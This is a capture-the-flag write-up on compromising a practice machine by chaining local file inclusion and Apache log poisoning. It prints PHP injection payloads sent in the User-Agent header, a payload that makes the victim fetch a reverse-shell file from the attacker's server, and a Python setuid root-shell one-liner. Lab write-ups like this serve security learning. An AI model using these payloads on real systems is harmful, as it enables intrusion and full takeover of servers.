Poisoning write-up

In this post I’d like to share how I solved the machine Poison from the Crowsec hacking platform (Think of it as the Brazilian “hack the box” 😁).

Summary

The target machine, with IP address 10.9.2.11, was successfully compromised by exploiting two vulnerabilities: a log poisoning vulnerability and a Local File Inclusion (LFI) vulnerability. These vulnerabilities were used to gain access to a reverse shell, and ultimately to achieve privilege escalation and obtain root access to the machine.

First steps

I started with a quick port scan with naabu to identify the available services on the target machine. The following ports were found to be open: 22 and 88.

naabu’s output

Taking a look at the website there isn’t much to play with:

While I was clicking on everything and analyzing the HTTP traffic generated on devtools, I decided to perform a nuclei scan with the command “nuclei -u http://10.9.2.11 -es info” to see if there was any easily detectable vuln:

Nuclei output

Nuclei immediately detected 2 vulnerabilities:

• cross-site scripting (XSS)
• Local File Inclusion (LFI)

I wanted to have a look at the LFI first, to see what type of info I could collect from the box.

Clicking on the link nuclei provided, I accessed the /etc/passwd file, which is a configuration file on the linux operating system that stores user account information:

/etc/passwd content being displayed on index.php

But what else could I do here? Well…

Since this is an apache server, and by the way, this information is available at the HTTP response headers:

index.php response header revealing the server version

I thought of trying out if this application would be vulnerable to log poisoning, because of this excellent write-up explaining how to achieve RCE through LFI (RCE via LFI Log Poisoning — The Death Potion).

Log poisoning, also known as log injection, is a security vulnerability that occurs when an attacker is able to manipulate the data stored in a system log file. This manipulation is possible due to a misconfiguration that allows the attacker to inject malicious code into the log file. Once executed, this code can be used to gain unauthorized access or execute malicious actions on the targeted system.

with that in mind, I sent a malicious curl payload embedding a PHP script as the User-Agent of the request:

curl http://10.9.2.11/ -H "User-Agent: <?php system('id');?>

Then, when accessing the path /var/log/apache2/access.log, we can see that the system executed my PHP script, printing o the screen the output of the id command:

PHP script execution at the apache/access.log file

Getting a reverse shell

This was the toughest part, I’ve spent around an hour to figure out how to get a reverse shell.

My first attempt was to set up a netcat listener and then use the log poisoning vuln to execute a PHP script that would connect to my netcat listener, but it didn’t work out.

I’ve tried also sending a curl request to https://reverse-shell.sh/myip:myport to see if it would work…. but nothing.

I could send a curl request and intercept it with my netcat listener, but nothing else was working.

After researching for a while on the internet I found the following payload:

curl "http://{VICTIM-IP}/" -H "User-Agent: <?php file_put_contents('shell.php',file_get_contents('http://{MY-IP}/shell.php'));?>"

making curl request with payload

This payload makes the vulnerable server fetch a file from another server (my server in this case) and then it writes it to the file system with the PHP function file_get_contents().

For the reverse shell, I grabbed a PHP shell that comes available in any kali linux distro from the path /usr/share/webshell/php/reverse-shell.ph and served it with one-liner in python:

creating a server with python3 on the same directory where the shell exploit is located

Now to trigger the exploit, we need to make an HTTP request to the poisoned log:

Making the vulnerable server fetch my shell.php file

Finally, we can go to http://10.9.2.11/shell.php and see if my netcat will popup that sweet rev shell

reverse shell in action!

Cool! but we still need to perform a privilege escalation

Privilege escalation

I’m not well acquainted with privilege escalation yet, so I had to try multiple things from the internet to see what would work… After trying a few things from PayloadsAllTheThings this python script worked:

python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

rooting the box

Script breakdown:

• The script uses the os module which provides a way of using operating system dependent functionality like reading or writing to files, starting new processes, killing processes etc.
• The os.setuid(0) function is used to set the user ID of the current process to 0, which is the UID of the root user. By setting the UID to 0, the script is now running with the same level of access and permissions as the root user.
• The os.system("/bin/sh") function is used to execute the shell command /bin/sh. This command starts a new shell process, allowing the attacker to interact with the system with root privileges.

When the script is executed, it first sets the user ID of the current process to 0, which makes it run with root privileges, and then it starts a new shell process, giving the attacker a root shell session, allowing them to execute any command as the root user.

Conclusion

It was a great learning experience to successfully exploit a machine by chaining together different vulnerabilities and techniques. I hope this write-up helps others understand the importance of web security and the potential consequences of misconfigurations. Happy hacking!